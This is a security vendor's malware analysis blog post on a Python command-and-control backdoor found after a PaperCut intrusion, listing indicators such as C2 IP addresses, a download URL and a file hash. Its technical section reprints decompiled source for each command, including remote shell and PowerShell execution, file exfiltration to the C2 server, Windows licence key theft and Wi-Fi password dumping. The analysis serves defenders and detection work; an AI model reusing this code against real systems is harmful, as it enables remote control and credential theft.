Return to overview
17 min read

“Master” Malware - a new C2 framework

17 min Read
January 25, 2024
By: Tjeerd Legué
People threat hunting
By: Tjeerd Legué
5 March 2024

Introduction

Recently, during an incident response engagement, we came across a new piece of malware. As we were analysing the malware, we realised it was a new sample with no apparent articles or analysis.

We found the malware in the root of the C drive. And the name of the executable resembled that of a legitimate service. It seems that when placing the executable, the slashes were stripped, resulting in the executable being called ProgramDataOracleJavaOracleService.exe.

We believe that the malware was used by threat actors to eventually roll out ransomware on the victim’s systems, successfully bypassing their AntiVirus software.

Malware analysis

The malware was written in Python and compiled to an executable using PyInstaller. We were able to decompile the program to its source code with PyInstractor and Uncompyle6.

We were also able to take a look at the source code. One thing that immediately stood out to us was the layout of the code. In the Python code, there are a lot of if-else-if statements. This means that at one point within the source code, the malware is indented 28 times in one big while loop.

We were able to see that the original filename of the Python file was Quan_min_1.py and that the malware was compiled by a user named kodi, as we saw several embedded file paths, such as c:\\users\\kodi\\appdata.

We were also able to see that the malware supported several commands, as can be seen in the Technical Analysis section below, where we discuss a thorough explanation of each command and show the relevant parts of the source code (please refer to this section if you are interested in the full technical capabilities of this framework).

The malware has the functionality of a typical C2 (Command & Control) framework, connects to a C2 server and awaits the next command. For communication between the C2 server, the malware uses a double Base64 encoding scheme without encryption. It seems that the malware is custom-made by the actor and has not been reported previously.

There appears to be no beacon functionality in the malware. If the malware loses the connection to the C2 server, it will attempt to reconnect every two seconds to restore the connection.

The first command the C2 Server tries to execute on a client is always the same. This is thetheCheck command and this command executes the chcp.exe program.

This program can be used to find out the possible language of the computer which is running the client. This could indicate that the actor is targeting only a few specific languages. The output of this program is then sent, with a hardcoded ID, to the C2 server. More on this command later.

Key Findings

The malware has a few interesting characteristics, one of which is that the malware uses the word Master a lot. Both in its communication and error handling, these strings could be used in detection engineering. It’s also the reason why we dubbed this malware the master malware. The strings referencing master are in the table below:

String

Used in

Master, I am in:

cd command

I have failed you, master.

drives & diskserial commands

Master! That PC hasn't got the License Key!

winkey command

Couldn't receive the key, master.

winkey2 command

MASTER! I fucked up!

md5 command

Unknown error, master

shell & powershell command

Another interesting and unusual characteristic is that it uses three different encoding schemes, which are all used in Eastern European countries, suggesting that the threat actor is of Eastern European origin. The encoding schemes are:

 

Encoding 

Used in 

UTF-8

Universally used

CP-1251

Primarily used in countries that use the Cyrillic script, such as Russia, Ukraine, Belarus, Bulgaria, Serbia, Macedonia and others.

CP-852

Primarily used in countries that use the Latin script, such as Bosnian, Croatian, Czech, Hungarian, Polish, Romanian, Serbian, Slovak and Slovene.

Additional infrastructure

When we started analysing the malware, we were unaware of multiple servers hosting the same malware, but we quickly found that multiple servers host the same Command & Control framework.

From our analysis we knew that, for communication, the server and client were using a double Base64 encoding scheme and that we knew at least one IP address.

Looking up this IP address in a search engine we found a familiar string, which is ZEdobFEyaGxZMnM9Cg==. Decoding this string twice in Base64 presented us with theCheck command. This service is hosted on port 443, but other services are also hosted on the same machine.

The initial server we found, hosted additional services:

Port 

Description 

22

SSH - Specifically OpenSSH on an Ubuntu Machine

443

This Command & Control framework

4000

NX Desktop - Remote Desktop Service

We can also use this information to find out different servers hosting the same C2 frame. By doing this, we are presented with 9 servers or IP addresses that are hosting - or have hosted - this framework. List of IP addresses:

IP Address 

ASN 

172.86.69.200

14956

212.114.52.119

30823

45.11.19.237

30823

45.11.19.93

30823

45.147.230.73

30823

45.147.231.153

30823

5.196.217.176

16276

51.89.115.122

16276

51.89.115.125

16276

And just like our initial server, these servers all host the same services on port 22, 443 and 4000, in addition to some other services, such as web servers. But these seem unrelated to our threat actor's activities.
 
Using these IP addresses, we attempted to find more servers connected to this group, for example by checking if the servers reuse the same keys for SSH. This yielded little to no results, with the exception of one newly found server.
 
This server was 85.208.107.40 and shared the same fingerprint as 172.86.69.200. As it was a perfect match, we deem it very likely that the infrastructure belongs to the same threat actor. Host keys are generated when the SSH server software is first installed, so this means that either the host keys are copied over or something more likely, that these machines have the same image as their source.
image-20231201-094525

Closing thoughts

As we come to the end of our analysis, it is interesting to note that such a simple malware was able to successfully bypass the advanced Anti Virus solutions our client had in place. This clearly shows the shortcomings of traditional Anti Virus software, where mainly known threats are detected. Instead of looking into behavioural indicators, like EDR does, it mainly looks for static indicators.

At Eye Security, we use our Managed XDR solutions to protect our clients and prevent serious cyber incidents such as ransomware. Our unique combination of technology, delivered with a human touch by real cyber experts, means we can detect known threats and prevent previously unknown threats based on behaviour and other metrics.

If you want to know how we can help, please get in touch.

 

Technical Analysis

Initial information

This malware was found during an Incident Response engagement by Eye Security where the Papercut Vulnerability (CVE-2023–27350) was abused to gain access to the system. On this system, we found multiple backdoors from multiple threat actors, but this backdoor and its framework were previously unknown to us. The executable was downloaded originally downloaded from:

http://update-print.sytes.net/update/183776

Dropped the following executable (sha256):

6c560ee2d6291fe4050dd25c68995264152ee380bf69a40667db65dc9519b792 ProgramDataOracleJavaOracleService.exe

Information from Detect It Easy:

PE32
Packer: PyInstaller(-)[-]
Compiler: EP:Microsoft Visual C/C++(2013-2017)[EXE32]
Compiler: Microsoft Visual C/C++(2015 v.14.0)[-]
Linker: Microsoft Linker(14.0, Visual Studio 2015 14.0*)[GUI32]
Overlay: zlib archive(-)[-]
Overlay: Binary
Data: zlib archive

Unpacking

As indicated by DIE, the file is detected as a PyInstaller executable. Due to the way PyInstaller files are created this is easily reversible.

pyinstxtractor.py ProgramDataOracleJavaOracleService.exe

This results in .pyc files being unpacked. We can return this to the original source code with Uncompyle6 and the following command:

ls *.pyc | xargs -I{} bash -c 'uncompyle6 {} > ../$(echo {} | sed s/pyc/py/g)'

The output files are as follows:

Filename 

pyiboot01_bootstrap.py

pyimod01_os_path.py

pyimod02_archive.py

pyimod03_importers.py

Quan_min_1.py

struct.py

Here the filename Quan_min_1.py stands out very much, as it didn't seem part of the standard PyInstaller structure. From here on we analysed the decompiled program’s code.

Capability Analysis

The file seems to be a simple (but very long-winded) C2 client. The C2 seems to connect to 212.114.52.119:443 every 2 seconds but has a constant open connection when it is established. If it finally connects, it executes the following Python code:

shell = self.master.recv(self.BUFFER)
shell = base64.decodebytes(base64.decodebytes(shell))

It receives a command from the C2 Server, Base64 decodes the string twice and then executes the according command. We found the following commands in the malware:

Plaintext Command 

Accepts Arguments

download

True

theCheck

False

pwd

False

whoami

False

cd

True

dir

True

upload

True

system_info

False

drives

False

diskserial

False

winkey

False

winkey2

False

execute

True

unzip

True

delete

True

md5

True

shell

True

powershell

True

wifi_info

False

recent

False

Command Analysis

 

download

The download command will first read in the size of the file in the arguments and send its size to the C2 server. If the operator then responds with Yes it will read in the file, bit by bit, and send it to the C2 server. If it fails for any reason, it will send a "nullbyte".

if 'download' == str(shell, 'utf-8').split(' ', 1)[0]:
file_to_send = shell.decode('utf-8').replace('download ', '')
try:
if os.path.isfile(file_to_send):
size = os.path.getsize(file_to_send) / 1000000
size = str(size)
out = base64.encodebytes(base64.encodebytes(bytes(size, 'utf-8')))
self.master.settimeout(20.0)
self.master.send(out)
dec = self.master.recv(self.BUFFER)
dec = base64.decodebytes(base64.decodebytes(dec))
print(dec)
if dec.decode('utf-8') == 'Yes':
f = open(file_to_send, 'rb')
l = f.read(self.BUFFER)
while l:
self.master.send(l)
l = f.read(self.BUFFER)
x = self.master.recv(self.BUFFER)
f.close()
self.master.settimeout(None)
except Exception as e:
print(e)
self.master.send(b'x\\00')
self.master.settimeout(None)

theCheck

The theCheck command will use chcp to check the current encoding used by the Windows Operating system. The threat actor might want to use this to find out the location of the machine the malware is running on.

After it executes chcp it will send the output, along with a hardcoded ID ('XX-XXXXX') and hardcoded buffer size (1024) to the C2 server. In our case the hardcoded ID contained part of the client’s company name and what we presume to be a random identifier. If the chcp check fails it will still forward the ID and buffer size.

if str(shell, 'utf-8') == str('theCheck'):
try:
process = subprocess.Popen('chcp',
shell=True,
stdout=(subprocess.PIPE),
stderr=(subprocess.PIPE),
stdin=(subprocess.PIPE),
creationflags=134217728)
code, err = process.communicate()
code = code.decode().replace('\r', '').replace('\n', '')
except Exception as e:
print(e)
code = 'Error during chcp operation.'
try:
msg = base64.encodebytes(base64.encodebytes(bytes(str(self.ID + '(' + code + ') Buffer:' + str(self.BUFFER)), 'utf-8')))
self.master.send(msg)
except Exception as e:
print(e)

pwd

The pwd command gets the current working directory and sends it to the C2 server. If this operation fails, it will send an error.

if 'pwd' == str(shell, 'utf-8'):
self.master.settimeout(2.0)
try:
out = str(os.getcwd())
out = base64.encodebytes(base64.encodebytes(bytes(out, 'utf-8')))
self.master.send(out)
except:
msg = base64.encodebytes(base64.encodebytes(bytes('Unknown Error', 'utf-8')))
self.master.sendall(msg)
self.master.settimeout(None)

whoami

The whoami command gets the user that’s currently running the malware and sends this to the C2 Server. If this action fails it will send an error instead.

if 'whoami' == str(shell, 'utf-8'):
self.master.settimeout(2.0)
try:
out = str(os.getlogin())
out = base64.encodebytes(base64.encodebytes(bytes(out, 'utf-8')))
self.master.send(out)
except:
msg = base64.encodebytes(base64.encodebytes(bytes('Unknown Error', 'utf-8')))
self.master.sendall(msg)
self.master.settimeout(None)

cd

The cd command changes directory via the Python chdir function. After the program changes directory, it will inform the actor via a remarkable string 'Master, I am in: ' + str(os.getcwd()).

If it errors for some reason it will tell the operator about it and the reason.

if 'cd' in str(shell, 'cp1251').split(' ', 1)[0]:
self.master.settimeout(2.0)
try:
directory = shell.decode('utf-8').replace('cd ', '')
os.chdir(directory)
out = 'Master, I am in: ' + str(os.getcwd())
out = base64.encodebytes(base64.encodebytes(bytes(out, 'utf-8')))
self.master.send(out)
except NotADirectoryError:
out = base64.encodebytes(base64.encodebytes(bytes('It is not a directory', 'utf-8')))
self.master.send(out)
except FileNotFoundError:
out = base64.encodebytes(base64.encodebytes(bytes('Folder not found', 'utf-8')))
self.master.send(out)
except OSError:
pass
self.master.settimeout(None)

dir

The dir command gets all the files and directories in the current working directory and sends each entry one by one to the C2 server and whether it's a file or folder. When it has reached the end of the list it will send an End of File mark.

if 'dir' in str(shell, 'utf-8').split(' ', 1)[0]:
msg = os.listdir(os.curdir)
dir = os.getcwd()
dir_out = base64.encodebytes(base64.encodebytes(bytes(dir, 'utf-8')))
self.master.settimeout(20.0)
self.master.send(dir_out)
for i in msg:
file = dir + '\\' + i
if os.path.isfile(file):
line = base64.encodebytes(base64.encodebytes(bytes('FILE : ' + i, 'utf-8')))
self.master.send(line)
else:
folder = base64.encodebytes(base64.encodebytes(bytes('FOLDER : ' + i, 'utf-8')))
self.master.send(folder)
self.master.recv(self.BUFFER)
i = base64.encodebytes(base64.encodebytes(bytes('!EOF!', 'utf-8')))
self.master.send(i)
self.master.settimeout(None)

upload

The upload command allows the actor to place files on the target computer system. It will receive data in blocks of 1024 bytes from the C2 server and for each block send a "nullByte".

When the file has been completely received it will add the hidden attribute to the file using the attrib command.

if 'upload' in str(shell, 'utf-8').split(' ', 1)[0]:
file_to_take = shell.decode('utf-8').replace('upload ', '')
f = open(file_to_take, 'wb')
self.master.settimeout(2.0)
self.master.send(b'x\\00')
l = self.master.recv(self.BUFFER)
while l:
self.master.send(b'x\\00')
f.write(l)
if len(l) < self.BUFFER:
break
l = self.master.recv(self.BUFFER)
self.master.settimeout(None)
f.close()
subprocess.check_call(('attrib +h ' + str(file_to_take)),
shell=True,
stdout=(subprocess.PIPE),
stderr=(subprocess.PIPE),
stdin=(subprocess.PIPE),
creationflags=134217728)

system_info

The system_info command uses built-in systeminfo program to get detailed information about the current system. It will pipe the output of the command to a specific location, this is:
C:\\Users\\<USER>\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_32_64_ide.db

It will add the hidden attribute to the file using the attrib command. If systeminfo is still executing, it will poll if the program has finished by checking the file size. After the command has successfully executed it will send the content of the thumbcache_32_64_ide.db file to the C2 server. Once fully received by the C2 server it will remove the file.

if str(shell, 'utf-8') == str('system_info'):
system_info = 'systeminfo > ' + 'C:\\Users\\' + os.getlogin() + '\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_32_64_ide.db'
subprocess.check_call(system_info,
shell=True,
stdout=(subprocess.PIPE),
stderr=(subprocess.PIPE),
stdin=(subprocess.PIPE),
creationflags=134217728)
try:
file_to_send = 'C:\\Users\\' + os.getlogin() + '\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_32_64_ide.db'
subprocess.check_call(('attrib +h ' + str(file_to_send)),
shell=True,
stdout=(subprocess.PIPE),
stderr=(subprocess.PIPE),
stdin=(subprocess.PIPE),
creationflags=134217728)
if file_to_send:
while 1:
if os.path.getsize(file_to_send) < 1:
time.sleep(5)
else:
break
f = open(file_to_send, 'rb')
l = f.read(self.BUFFER)
self.master.settimeout(2.0)
while l:
self.master.send(l)
l = f.read(self.BUFFER)
x = self.master.recv(self.BUFFER)
f.close()
time.sleep(1)
os.remove(file_to_send)
else:
os.remove(file_to_send)
except:
pass
self.master.settimeout(None)

drives

The drives command uses the WMI Command line utility (wmic) to get the caption, providername, volumename, mediatype of all drives.

Field 

Description

caption

The drive letter of the logical disk.

providername

The network path to the logical device.

volumename

The volume name of the logical disk.

mediatype

The type of media used by the logical disk.

If any error arises it will tell the C2 server the error, if there is no error the output gets sent to the C2 server, however, if there's both no output and no error it will send an interesting string back to the C2 server.
 

The error it will send is I have failed you, master.. It is however also very noteworthy that the output is converted from cp1251 encoding to utf-8, because this encoding is traditionally used to cover Cyrillic script.

if str(shell, 'utf-8') == str('drives'):
p = subprocess.Popen('wmic logicaldisk get caption,providername,volumename, mediatype',
shell=True,
stdout=(subprocess.PIPE),
stderr=(subprocess.PIPE),
stdin=(subprocess.PIPE),
creationflags=134217728)
out, err = p.communicate()
self.master.settimeout(2.0)
if err:
err = base64.encodebytes(base64.encodebytes(bytes(err.decode('cp1251'), 'utf-8')))
self.master.sendall(err)
else:
if out:
out = base64.encodebytes(base64.encodebytes(bytes(out.decode('cp1251'), 'utf-8')))
self.master.sendall(out)
else:
msg = base64.encodebytes(base64.encodebytes(bytes('I have failed you, master.', 'utf-8')))
self.master.sendall(msg)
self.master.settimeout(None)

diskserial

The diskserial uses powershell to get the serial of disk drives in the system. Here it uses WMI to get the following data:

Field 

Description

model

The model number of the drive, assigned by the manufacturer.

serialnumber

The serial number of the drive, assigned by the manufacturer.

mediatype

The type of media used by the drive, e.g. SSD, HDD

interfacetype

The hardware interface used by the disk

When it finishes the command it sends it to the C2 server, however, if it fails it will use a very peculiar error message, which is 'I have failed you, master.'.
if str(shell, 'utf-8') == str('diskserial'):
try:
p = subprocess.Popen(['powershell.exe', 'Get-WmiObject win32_diskdrive | select model,serialnumber, mediatype, interfacetype'], shell=True,
stderr=(subprocess.PIPE),
stdout=(subprocess.PIPE),
stdin=(subprocess.PIPE),
creationflags=134217728)
out, err = p.communicate()
out = base64.encodebytes(base64.encodebytes(bytes(out.decode('cp1251'), 'utf-8')))
self.master.sendall(out)
except:
msg = base64.encodebytes(base64.encodebytes(bytes('I have failed you, master.', 'utf-8')))
self.master.sendall(msg)

winkey

The winkey command uses PowerShell and WMI to find the Windows License. If it returns a key it will send this key to the C2 server, but if it finds nothing it will either forward the error or return an Uknown error..

if str(shell, 'utf-8') == str('winkey'):
try:
p = subprocess.Popen(['powershell.exe', "(Get-WmiObject -query 'select * from SoftwareLicensingService').OA3xOriginalProductKey"], shell=True,
stderr=(subprocess.PIPE),
stdout=(subprocess.PIPE),
stdin=(subprocess.PIPE),
creationflags=134217728)
out, err = p.communicate()
if out:
out = repr(out)
out = base64.encodebytes(base64.encodebytes(bytes(out, 'utf-8')))
self.master.sendall(out)
else:
if err:
err = repr(err)
err = base64.encodebytes(base64.encodebytes(bytes(err, 'utf-8')))
self.master.sendall(err)
else:
msg = base64.encodebytes(base64.encodebytes(bytes("Master! That PC hasn't got the License Key!", 'utf-8')))
self.master.sendall(msg)
except:
msg = base64.encodebytes(base64.encodebytes(bytes('Unknown error.', 'utf-8')))
self.master.sendall(msg)

winkey2

The winkey2 command tries to retrieve the Windows License using a different method than the winkey command.

if str(shell, 'utf-8') == str('winkey2'):
try:
winkey = winkey2()
if winkey != '':
out = base64.encodebytes(base64.encodebytes(bytes(winkey, 'utf-8')))
self.master.sendall(out)
else:
err = base64.encodebytes(base64.encodebytes(bytes("Couldn't receive the key, master.", 'utf-8')))
self.master.sendall(err)
except:
msg = base64.encodebytes(base64.encodebytes(bytes('Unknown error.', 'utf-8')))
self.master.sendall(msg)

The winkey2 command immediately calls a different function. The code to get the License key is based on this Github code. If the Python code finds a key it will return so. If it errors it will send the following to the C2 Couldn't receive the key, master..

def winkey2():
def EnumAcpiTables():
FirmwareTableProviderSignature = ctypes.wintypes.DWORD(1094930505)
pFirmwareTableBuffer = ctypes.create_string_buffer(0)
BufferSize = ctypes.wintypes.DWORD(0)
EnumSystemFirmwareTables = ctypes.WinDLL('Kernel32').EnumSystemFirmwareTables
ret = EnumSystemFirmwareTables(FirmwareTableProviderSignature, pFirmwareTableBuffer, BufferSize)
pFirmwareTableBuffer = None
pFirmwareTableBuffer = ctypes.create_string_buffer(ret)
BufferSize.value = ret
ret2 = EnumSystemFirmwareTables(FirmwareTableProviderSignature, pFirmwareTableBuffer, BufferSize)
return [pFirmwareTableBuffer.value[i:i + 4] for i in range(0, len(pFirmwareTableBuffer.value), 4)]
def FindAcpiTable(table):
tables = EnumAcpiTables()
if table in tables:
return True
else:
return False
def GetAcpiTable(table, TableDwordID):
GetSystemFirmwareTable = ctypes.WinDLL('Kernel32').GetSystemFirmwareTable
FirmwareTableProviderSignature = ctypes.wintypes.DWORD(1094930505)
FirmwareTableID = ctypes.wintypes.DWORD(int(TableDwordID))
pFirmwareTableBuffer = ctypes.create_string_buffer(0)
BufferSize = ctypes.wintypes.DWORD(0)
ret = GetSystemFirmwareTable(FirmwareTableProviderSignature, FirmwareTableID, pFirmwareTableBuffer, BufferSize)
pFirmwareTableBuffer = None
pFirmwareTableBuffer = ctypes.create_string_buffer(ret)
BufferSize.value = ret
ret2 = GetSystemFirmwareTable(FirmwareTableProviderSignature, FirmwareTableID, pFirmwareTableBuffer, BufferSize)
return pFirmwareTableBuffer.raw
def GetWindowsKey():
table = b'MSDM'
TableDwordID = 1296323405
if FindAcpiTable(table) == True:
try:
rawtable = GetAcpiTable(table, TableDwordID)
return rawtable[56:len(rawtable)].decode('utf-8')
except:
return False
else:
return False
try:
WindowsKey = GetWindowsKey()
if WindowsKey == False:
pass
else:
return WindowsKey
except:
pass

execute

The execute command will first to extract the command it has to execute by replacing the first part of the command, after which it will execute the received command. It will return no results to the C2 server.

if 'execute' == str(shell, 'utf-8').split(' ', 1)[0]:
execy = shell.decode('utf-8').replace('execute ', '')
subprocess.Popen(execy, shell=True, stdout=(subprocess.PIPE), stderr=(subprocess.PIPE), stdin=(subprocess.PIPE), creationflags=134217728)

unzip

The unzip command will attempt to unzip a given zip file. It will extract all the files in the current working directory. It will return no output to the C2 Server.

if 'unzip' == str(shell, 'utf-8').split(' ', 1)[0]:
zip = shell.decode('utf-8').replace('unzip ', '')
with zipfile.ZipFile(zip, 'r') as (zip_ref):
zip_ref.extractall()

delete

The delete command will first extract the filename from the command, after which it will replace the forward slashes (/) with two backslashes (\\) of the file, it will then prepare the command and replace the slashes again.

This command seems to contain a bug, as it performs the replace function twice. It will construct a command line to remove the file, but in the end it will always convert /F /Q to \\F \\Q and thus never really remove any files. If it for any other reason raises an exception it will return an Unknown error..

if 'delete' == str(shell, 'utf-8').split(' ', 1)[0]:
try:
file_path = shell.decode('cp1251').replace('delete ', '').replace('/', '\\')
delete = 'del "' + str(file_path) + '"' + ' /F /Q'
if os.path.isfile(file_path):
subprocess.check_call((delete.replace('/', '\\')), shell=True, stdout=(subprocess.PIPE), stderr=(subprocess.PIPE), stdin=(subprocess.PIPE), creationflags=134217728)
out = base64.encodebytes(base64.encodebytes(bytes('Done', 'utf-8')))
self.master.sendall(out)
else:
out = base64.encodebytes(base64.encodebytes(bytes('No such file.', 'utf-8')))
self.master.sendall(out)
except:
out = base64.encodebytes(base64.encodebytes(bytes('Unknown error.', 'utf-8')))
self.master.sendall(out)

md5

The md5 command will read in a file in blocks of 4096 bytes and hash it with the md5 algorithm from hashlib. It will then hex digest the hash and send the output to the C2 server. If this command fails it will return a string indicating an error, this would beMASTER! I fucked up!.

if 'md5' == str(shell, 'cp1251').split(' ', 1)[0]:
try:
filename = shell.decode('utf-8').replace('md5 ', '')
md5_hash = hashlib.md5()
with open(filename, 'rb') as (f):
for byte_block in iter((lambda: f.read(4096)), b''):
md5_hash.update(byte_block)
out = str(md5_hash.hexdigest())
out = base64.encodebytes(base64.encodebytes(bytes(out, 'utf-8')))
self.master.send(out)
except:
out = base64.encodebytes(base64.encodebytes(bytes('MASTER! I fucked up!', 'utf-8')))
self.master.send(out)

shell

The shell command will first strip the initial command and then attempt to execute it. After execution, it will receive the output, both the stdout and stderr and send it to the C2 server. If it fails it will return an Unknown error, master. back to the C2 server.

if 'shell' == str(shell, 'utf-8').split(' ', 1)[0]:
shell_cmd = shell.decode('cp1251').replace('shell ', '')
p = subprocess.Popen(shell_cmd,
shell=True,
stdout=(subprocess.PIPE),
stderr=(subprocess.PIPE),
stdin=(subprocess.PIPE),
creationflags=134217728)
out, err = p.communicate()
try:
if err:
err = err.decode('cp1251')
err = base64.encodebytes(base64.encodebytes(bytes(err, 'cp1251')))
self.master.sendall(err)
else:
if out:
out = out.decode('cp1251')
out = base64.encodebytes(base64.encodebytes(bytes(out, 'cp1251')))
self.master.sendall(out)
else:
msg = base64.encodebytes(base64.encodebytes(bytes('Unknown error, master', 'cp1251')))
self.master.sendall(msg)
except Exception as e:
msg = base64.encodebytes(base64.encodebytes(bytes('Unknown error, master.', 'cp1251')))
self.master.sendall(msg)

powershell

Using the powershell command we will similarly attempt to execute a command. After execution both the stdout and stderr are sent to the C2 server. If it fails it will return an Unknown error, master. back to the C2 server.

if 'powershell' == str(shell, 'utf-8').split(' ', 1)[0]:
cmd = shell.decode('cp852').replace('powershell ', '')
p = subprocess.Popen(['powershell.exe', cmd],
shell=True,
stdout=(subprocess.PIPE),
stderr=(subprocess.PIPE),
stdin=(subprocess.PIPE),
creationflags=134217728)
out, err = p.communicate()
try:
if err:
err = err.decode('cp852')
err = base64.encodebytes(base64.encodebytes(bytes(err, 'cp1251')))
self.master.sendall(err)
else:
if out:
out = out.decode('cp852')
out = base64.encodebytes(base64.encodebytes(bytes(out, 'cp1251')))
self.master.sendall(out)
else:
msg = base64.encodebytes(base64.encodebytes(bytes('Unknown error, master', 'cp1251')))
self.master.sendall(msg)
except Exception as e:
print(e)
msg = base64.encodebytes(base64.encodebytes(bytes('Unknown error, master.', 'cp1251')))
self.master.sendall(msg)

wifi_info

The wifi_info command, when received, will first of all hand off execution to a different function. This function is called wifi and we will be able to analyze this function below.

if str(shell, 'utf-8') == str('wifi_info'):
try:
slave.wifi()
file_to_send = 'C:\\Users\\' + os.getlogin() + '\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_32_64_ide.db'
subprocess.check_call(('attrib +h ' + str(file_to_send)),
shell=True,
stdout=(subprocess.PIPE),
stderr=(subprocess.PIPE),
stdin=(subprocess.PIPE),
creationflags=134217728)
f = open(file_to_send, 'rb')
l = f.read(self.BUFFER)
while l:
self.master.send(l)
l = f.read(self.BUFFER)
x = self.master.recv(self.BUFFER)
f.close()
time.sleep(1)
os.remove(file_to_send)
except:
os.remove(file_to_send)

The wifi function will first of all execute a command, which will show all profiles in a system. Where each profile is a WIFI network a computer has had a connection with.

It will extract each network name and for each network, it will attempt to get the clear-text key and store it in a specific file called thumbcache_32_64_ide.db.

After it has completed all profiles it will return to the original function, read all bytes of the thumbcache_32_64_ide.db file and send the content to the C2 server. After sending all data it will remove the original file.

def wifi(self):
wifilination = 'netsh wlan show profile'
p = subprocess.Popen(wifilination,
shell=True,
stdout=(subprocess.PIPE),
stderr=(subprocess.PIPE),
stdin=(subprocess.PIPE),
creationflags=134217728)
out, err = p.communicate()
out = str(out, 'cp1251')
Profiles = []
for line in out.splitlines():
if line.__contains__(':'):
profile = line.partition(': ')[2]
if profile != '':
Profiles.append(profile)
for x in Profiles:
show_pass = 'netsh wlan show profile name="' + x + '" key=clear'
subprocess.check_call((show_pass + '>> C:/Users/' + os.getlogin() + '/AppData/Local/Microsoft/Windows/Explorer/thumbcache_32_64_ide.db'),
shell=True, stdout=(subprocess.PIPE),
stderr=(subprocess.PIPE),
stdin=(subprocess.PIPE),
creationflags=134217728)

recent

The recent command is similar to the previous command this command immediately executes a new function. This is the history_from_powershell function. We can analyse this function below.

if str(shell, 'utf-8') == str('recent'):
try:
self.history_from_powershell()
file_to_send = 'C:\\Users\\' + os.getlogin() + '\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_32_64_idex.db'
subprocess.check_call(('attrib +h ' + str(file_to_send)),
shell=True,
stdout=(subprocess.PIPE),
stderr=(subprocess.PIPE),
stdin=(subprocess.PIPE),
creationflags=134217728)
self.master.settimeout(120)
if file_to_send:
f = open(file_to_send, 'rb')
l = f.read(self.BUFFER)
while l:
self.master.send(l)
l = f.read(self.BUFFER)
x = self.master.recv(self.BUFFER)
f.close()
time.sleep(1)
os.remove(file_to_send)
else:
os.remove(file_to_send)
except Exception as e:
print(e)
msg = 'Unknown Error'
msg = base64.encodebytes(bytes(msg, 'utf-8'))
self.master.sendall(msg)
self.master.settimeout(None)

This function executes a PowerShell script and immediately returns, this script will find all lnk files in a specific path, and write all of them into a specific file (thumbcache_32_64_idex.db) this script is similar to the script found here.

After it has executed it will read in the full file and send it to the C2 server, after which the file will be deleted. If this fails for some reason it will send 'Unknown Error' to the C2 server.

def history_from_powershell(self):
cmdline = '\n $WScript = New-Object -ComObject WScript.Shell\n Get-ChildItem -Path "C:\\Users\\$env:UserName\\Appdata\\Roaming\\Microsoft\\Windows\\Recent\\*.lnk" | Sort-Object LastWriteTime -Descending | ForEach-Object {if ($WScript.CreateShortcut($_.FullName).TargetPath) { $a = \'Date: {0} Filepath: {1}\' -f $_.LastWriteTime,$WScript.CreateShortcut($_.FullName).TargetPath; $a}} | Out-File "C:\\Users\\$env:UserName\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_32_64_idex.db"\n \t'
command = ['powershell.exe', '/c', cmdline]
p = subprocess.check_call(command,
stderr=(subprocess.STDOUT),
stdout=(subprocess.PIPE),
universal_newlines=True,
stdin=(subprocess.PIPE),
creationflags=134217728)
$WScript = New-Object -ComObject WScript.Shell
Get-ChildItem -Path "C:\Users\$env:UserName\Appdata\Roaming\Microsoft\Windows\Recent\*.lnk"
| Sort-Object LastWriteTime -Descending
| ForEach-Object {if ($WScript.CreateShortcut($_.FullName).TargetPath) { $a = 'Date: {0} Filepath: {1}' -f $_.LastWriteTime,$WScript.CreateShortcut($_.FullName).TargetPath; $a}}
| Out-File "C:\Users\$env:UserName\AppData\Local\Microsoft\Windows\Explorer\thumbcache_32_64_idex.db"

Command Insights

The commands provide a few insights. Below a list of factors that stand out:

  • The overall code quality is low. All commands are nested and the maximum nesting is 28 tabs (!!). The actor also uses a lot of redundant actions. We believe the creator is not very experienced in Python, but has a general good understanding of writing a C2 framework.

  • The Python program uses three different types of encoding. All encoding types seem to lean towards standard encoding schemes used in Eastern Europe. It uses the following schemes in communications:

    • utf-8 - This encoding is the standard encoding used by the World Wide Web. It uses 8-bit encoding.

    • cp1251 - This encoding is an encoding scheme used for Cyrillic Script, such as Russian, Ukrainian, etc. It also uses 8-bit for communication.

    • cp852 - This encoding is an encoding scheme used for Latin Script, such as Polish, Serbian, etc. It also uses 8-bit for communication.

  • The actor uses the same or similar files multiple times, saved at the following location(s):

    • C:\\Users\\<USER>\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_32_64_ide.db

    • C:\\Users\\<USER>\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_32_64_idex.db

Let's talk

Curious to know how we can help?

Get in touch
Share this article.